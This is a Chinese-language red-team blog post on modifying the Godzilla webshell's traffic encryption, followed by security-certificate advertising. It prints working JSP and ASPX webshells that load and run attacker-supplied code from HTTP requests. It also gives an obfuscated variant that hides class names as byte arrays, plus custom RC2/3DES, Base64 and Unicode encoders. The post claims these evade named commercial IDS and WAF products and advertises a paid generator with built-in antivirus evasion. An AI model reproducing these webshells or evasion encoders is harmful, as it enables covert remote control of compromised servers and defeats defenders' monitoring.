红队必备知识:哥斯拉流量魔改以及模板生成

文摘   2024-10-08 18:51   四川  

JSP

这是哥斯拉默认加密方法AES_RAW,加解密流程 读取data-AES解密-AES加密-发送data

其中的xc 也就是aes加密的密钥,就是哥斯拉pass+key的md5编码

<%! String xc="c4ca4238a0b92382"; class X extends ClassLoader{publicX(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb,0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipherc=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,newjavax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch(Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int_num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",newX(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=newjava.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch(Exception e){}%>

这里我们直接去掉aes加解密操作

<%!class X extends ClassLoader { public X(ClassLoader z) {   super(z); } public Class Q(byte[] cb) {   return super.defineClass(cb, 0, cb.length); }}%><%try { byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))]; java.io.InputStream inputStream = request.getInputStream(); int _num = 0;  while ((_num += inputStream.read(data, _num, data.length)) < data.length);  if (session.getAttribute("payload") == null) {   // 如果 session 中没有 "payload",加载字节码并将其转换为类   session.setAttribute("payload", newX(this.getClass().getClassLoader()).Q(data));} else {   // 如果 session 中已有 "payload",执行后续操作   request.setAttribute("parameters", data);   Object f = ((Class)session.getAttribute("payload")).newInstance();      // 输出流用于收集类的执行结果   java.io.ByteArrayOutputStream arrOut = newjava.io.ByteArrayOutputStream();   f.equals(arrOut);   f.equals(pageContext);   f.toString();      // 输出执行结果   response.getOutputStream().write(arrOut.toByteArray()); }} catch (Exception e) {}%>

其中也可以这样子修改,只需要保留主体逻辑,这样修改避免了定义classloader方法而是采用字节码动态加载

<%!%><%try { byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))]; java.io.InputStream inputStream = request.getInputStream(); int _num = 0;  while ((_num += inputStream.read(data, _num, data.length)) < data.length);  if (session.getAttribute("payload") == null) {   // 如果 session 中没有 "payload",加载字节码并将其转换为类    Class cc = Class.forName("c" + new String(new byte[]{111,109,46,115,117,110,46,106,109,120,46,114,101,109,111,116,101,46,117,116,105,108,46,79,114,100,101,114,67,108,97,115,115,76,111,97,100,101,114}) + "s");    Object a = Thread.currentThread().getContextClassLoader();    Object b = cc.getDeclaredConstructor(new Class[]{ClassLoader.class,ClassLoader.class}).newInstance(a, a);    java.lang.reflect.Method c = cc.getSuperclass().getDeclaredMethod("d" +new String(new byte[]{101,102,105,110,101,67,108,97,115}) + "s", byte[].class,int.class, int.class);    c.setAccessible(true);    Class zz = (Class) c.invoke(b, new Object[]{data, 0, data.length}); //动态调用方法    session.setAttribute("payload", zz); // 将加载的类存储在 session 中 } else {   // 如果 session 中已有 "payload",执行后续操作   request.setAttribute("p" + new String(new byte[]{97,114,97,109,101,116,101,114}) + "s", data);   Object f = ((Class)session.getAttribute("payload")).newInstance();   // 输出流用于收集类的执行结果      java.io.ByteArrayOutputStream arrOut = newjava.io.ByteArrayOutputStream();   f.equals(arrOut);   f.equals(pageContext);   f.toString();   // 输出执行结果   response.getOutputStream().write(arrOut.toByteArray()); }} catch (Exception e) {}%>

从这个和上面哥斯拉默认AES_RAW对比我们就可以发现哥斯拉的流程

data-解密-加密-data,其中javaAesRaw.java中的流程是加密-解密

@Override public byte[] encode(byte[] data) {   try {     return this.encodeCipher.doFinal(data);   } catch (Exception var3) {     Log.error(var3);     return null;   } } @Override public byte[] decode(byte[] data) {   try {     return this.decodeCipher.doFinal(data);   } catch (Exception var3) {     Log.error(var3);     return null;   } }

通过上面综合对比,可以通俗的总结一点,只要加密和解密处理逻辑对的上,就可以自定义编写哥斯拉加密器:

首先写好加解密函数,这里采用的是RC2+BASE64+unicode

RC2:

public byte[] x(byte[] s, boolean m) {   try {     javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("RC2");     c.init(m ? javax.crypto.Cipher.ENCRYPT_MODE :javax.crypto.Cipher.DECRYPT_MODE,         newjavax.crypto.spec.SecretKeySpec(xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.getBytes(), "RC2"));     return c.doFinal(s);   } catch (Exception e) {     return null;   } }

BASE64:

public static String base64Encode(byte[] bs) throws Exception {   try {     Class<?> base64 = Class.forName("java.util.Base64");     Object encoder = base64.getMethod("getEncoder").invoke(null);     return (String) encoder.getClass().getMethod("encodeToString",byte[].class).invoke(encoder, bs);   } catch (Exception e) {     Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");     Object encoder = base64.newInstance();     return (String) base64.getMethod("encode",byte[].class).invoke(encoder, bs);   } } public static byte[] base64Decode(String bs) throws Exception {   try {     Class<?> base64 = Class.forName("java.util.Base64");     Object decoder = base64.getMethod("getDecoder").invoke(null);     return (byte[]) decoder.getClass().getMethod("decode",String.class).invoke(decoder, bs);   } catch (Exception e) {     Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");     Object decoder = base64.newInstance();     return (byte[]) base64.getMethod("decodeBuffer",String.class).invoke(decoder, bs);   } }

Unicode:

public static String toUnicode(String str) {   StringBuilder unicodeEncodedString = new StringBuilder();   for (char c : str.toCharArray()) {     unicodeEncodedString.append(String.format("\\U%04X", (int) c));   }   return unicodeEncodedString.toString().replace("\\U","\\X").replace("\\X00", "----"); }

public static String fromUnicode(String str) {   str = str.replace("----", "\\X00").replace("\\X", "\\U");   StringBuilder decodedString = new StringBuilder();   for (int i = 0; i < str.length(); i += 6) {     String unicodeHex = str.substring(i + 2, i + 6);     int unicodeInt = Integer.parseInt(unicodeHex, 16);     decodedString.append((char) unicodeInt);   }   return decodedString.toString(); }

整体jsp如下:

这里省略代码若干......

整体jsp解密流程如下:

unicode解密-base64解密-rc2解密

rc2加密-base64加密-unicode加密

之后只需要修改java代码里面中的加解密函数

其中,加密函数:

public byte[] encode(byte[] data) {   try {     byte[] encryptedData = this.encodeCipher.doFinal(data);     String base64EncodedString =Base64.getEncoder().encodeToString(encryptedData);     StringBuilder unicodeEncodedString = new StringBuilder();     for (char c : base64EncodedString.toCharArray()) {       unicodeEncodedString.append(String.format("\\U%04X", (int) c));     }     String result = unicodeEncodedString.toString().replace("\\U","\\X");     String finaldata=result.replace("\\X00","----");     return finaldata.getBytes(StandardCharsets.UTF_8);   } catch (Exception var3) {     Log.error(var3);     return null;   } }

解密函数:

public byte[] decode(byte[] data) {   try {     String unicodeEncodedString = new String(data,StandardCharsets.UTF_8);     unicodeEncodedString = (unicodeEncodedString.replace("----","\\X00")).replace("\\X","\\U");     StringBuilder decodedUnicodeBuilder = new StringBuilder();     // 2. Unicode 解码(将 \UXXXX 转换回字符)     for (int i = 0; i < unicodeEncodedString.length(); i += 6) {       String unicodeHex = unicodeEncodedString.substring(i + 2, i + 6);// 获取 \U 后的4个十六进制字符       int unicodeInt = Integer.parseInt(unicodeHex, 16); // 转换为整数       decodedUnicodeBuilder.append((char) unicodeInt); // 转换为字符并追     }     String decodedString = decodedUnicodeBuilder.toString();     byte[] base64DecodedData =Base64.getDecoder().decode(decodedString);     return this.decodeCipher.doFinal(base64DecodedData);   } catch (Exception var3) {     Log.error(var3);     return null;   } }

效果如下:

ASPX

同样的方法

aspx raw:

<%@ Page Language="C#"%><%try{string key = "c4ca4238a0b92382";byte[] data = newSystem.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key),System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(Context.Request.BinaryRead(Context.Request.ContentLength), 0, Context.Request.ContentLength);if(Context.Session["payload"] == null){ Context.Session["payload"] =(System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load",new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });}else{object o =((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY");System.IO.MemoryStream outStream = newSystem.IO.MemoryStream();o.Equals(outStream);o.Equals(Context);o.Equals(data);o.ToString();byte[] r =outStream.ToArray();outStream.Dispose();Context.Response.BinaryWrite(newSystem.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key),System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0,r.Length));}}catch(System.Exception){}%>

去除aes加解密后的脚本:

<%@ Page Language="C#" %><%try { // 直接读取请求中的二进制数据 byte[] data = Context.Request.BinaryRead(Context.Request.ContentLength); // 检查会话中是否有 'payload' if (Context.Session["payload"] == null) {   // 动态加载程序集,不再解密   Context.Session["payload"] =(System.Reflection.Assembly)typeof(System.Reflection.Assembly)     .GetMethod("Load", new System.Type[] { typeof(byte[]) })     .Invoke(null, new object[] { data }); } else {   // 实例化会话中已加载的程序集中的 'LY' 类   object o =((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY");   // 将数据写入内存流   System.IO.MemoryStream outStream = new System.IO.MemoryStream();   o.Equals(outStream);   o.Equals(Context);   o.Equals(data);   o.ToString();   // 获取处理结果数据   byte[] r = outStream.ToArray();     outStream.Dispose();   // 直接将处理后的结果写回到响应,不再加密   Context.Response.BinaryWrite(r); }} catch (System.Exception) { // 捕获异常,不进行处理}%> 

这里可以很清楚的发现哥斯拉aspx脚本的处理流程:读取data-有无加解密-发送data,明白了这一点就可以直接上手

整体aspx脚本如下:

<%@ Page Language="C#"%><%try { string key = "123456789012345678901234"; string iv = "12345678"; using (System.Security.Cryptography.TripleDESCryptoServiceProvider tdes = newSystem.Security.Cryptography.TripleDESCryptoServiceProvider()) {   tdes.Key = System.Text.Encoding.UTF8.GetBytes(key);   tdes.IV = System.Text.Encoding.UTF8.GetBytes(iv);   byte[] requestData =Context.Request.BinaryRead(Context.Request.ContentLength);   string unicodeDecodedString =System.Text.Encoding.UTF8.GetString(requestData);   string unicode = unicodeDecodedString.Replace("\\0", "\\U");   StringBuilder decodedUnicodeBuilder = new StringBuilder();   for (int i = 0; i < unicode.Length; i += 6) {     string unicodeHex = unicode.Substring(i + 2, 4);     int unicodeInt = Convert.ToInt32(unicodeHex, 16);     decodedUnicodeBuilder.Append((char)unicodeInt);   }   string decodedString = decodedUnicodeBuilder.ToString();   byte[] base64DecodedData =System.Convert.FromBase64String(decodedString);   byte[] decryptedData;   using (System.IO.MemoryStream ms = new System.IO.MemoryStream()) {     using (System.Security.Cryptography.CryptoStream cs = newSystem.Security.Cryptography.CryptoStream(ms, tdes.CreateDecryptor(),System.Security.Cryptography.CryptoStreamMode.Write)) {       cs.Write(base64DecodedData, 0, base64DecodedData.Length);       cs.FlushFinalBlock();       decryptedData = ms.ToArray();     }   }   if (Context.Session["payload"] == null) {     Context.Session["payload"] =(System.Reflection.Assembly)typeof(System.Reflection.Assembly)       .GetMethod("Load", new System.Type[] { typeof(byte[]) })       .Invoke(null, new object[] { decryptedData });   } else {   object o =((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY");     System.IO.MemoryStream outStream = new System.IO.MemoryStream();     o.Equals(outStream);     o.Equals(Context);     o.Equals(decryptedData);     o.ToString();     byte[] r = outStream.ToArray();     outStream.Dispose();     byte[] encryptedResponse;     using (System.IO.MemoryStream ms = new System.IO.MemoryStream()) {       using (System.Security.Cryptography.CryptoStream cs = newSystem.Security.Cryptography.CryptoStream(ms, tdes.CreateEncryptor(),System.Security.Cryptography.CryptoStreamMode.Write)) {         cs.Write(r, 0, r.Length);         cs.FlushFinalBlock();         encryptedResponse = ms.ToArray();       }     }     string base64EncodedResponse =System.Convert.ToBase64String(encryptedResponse);     StringBuilder unicodeEncodedResponse = new StringBuilder();     foreach (char c in base64EncodedResponse) {       unicodeEncodedResponse.AppendFormat("\\O{0:X4}", (int)c);     }     string unicodeEncodedString = unicodeEncodedResponse.ToString();     Context.Response.ContentType = "application/octet-stream";     Context.Response.Write(unicodeEncodedString);   } }}catch(System.Exception ex) {}%>

后同样修改加解密函数,方法原理同上jsp,这里略过

效果如下:

量已测过天眼、微步tpd、绿盟ips、长亭waf,完整jar包知识星球自取,内置免杀插件,生成即免杀。

信 安 考 证




需要考以下各类安全证书的可以联系我,价格优惠、组团更便宜,还送【老鑫安全识星球1年!

CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001...


好书推荐:

老鑫安全
真正的大师永远都怀着一颗学徒的心,专注于渗透测试,红蓝对抗,漏洞挖掘等安全技术培训 B站:老鑫安全 知识星球:老鑫安全 官网论坛:https://www.laoxinsec.com